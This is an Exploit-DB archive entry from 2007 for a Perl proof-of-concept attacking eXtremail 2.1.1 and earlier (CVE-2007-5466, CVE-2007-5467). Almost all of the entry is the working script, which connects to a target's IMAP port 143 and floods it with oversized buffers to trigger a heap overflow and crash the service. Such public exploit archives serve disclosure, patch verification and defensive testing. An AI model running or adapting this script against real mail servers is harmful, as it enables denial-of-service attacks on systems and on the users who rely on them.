eXtremail <= 2.1.1 - Remote Heap Overflow PoC

2007-10-15T00:00:00
ID EDB-ID:4535
Type exploitdb
Reporter mu-b
Modified 2007-10-15T00:00:00

Description

eXtremail <= 2.1.1 Remote Heap Overflow PoC. CVE-2007-5466,CVE-2007-5467. Dos exploit for linux platform

                                        
                                            #!/usr/bin/perl
#
# extremail-v8.pl
#
# Copyright (c) 2007 by &lt;mu-b@digit-labs.org&gt;
#
# eXtremail &lt;=2.1.1 remote PoC
# by mu-b - Wed Jan 31 2007
#
# Tested on: eXtremail 2.1.1 (lnx)
#            eXtremail 2.1.0 (lnx)
#
#    - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
########

use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (defined($arg{'n'})) { $offset = $arg{'n'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 10;
my $loop = 2;

my $NOP = 'A';

if (connect_host($target, $imapd_port)) {
    print("-&gt; * Connected\n");
    sleep(16);

    print("-&gt; * Sending payload\n");
    $buf = "\x00".($NOP x (0x2710-1));
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    $buf = $NOP x 0x2710;
    while ($loop--) {
      print("-&gt; * Sending payload ".$loop."\n");
      send(SOCKET, $buf, 0);
      sleep($send_delay);
    }

    print("-&gt; * Successfully sent payload!\n");
}

sub print_header {
    print("eXtremail &lt;=2.1.1 remote PoC\n");
    print("by: &lt;mu-b\@digit-labs.org&gt;\n");
    print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}

sub usage {
  print(qq(Usage: $0 -t &lt;hostname&gt;

     -t &lt;hostname&gt;    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1338);
}

# milw0rm.com [2007-10-15]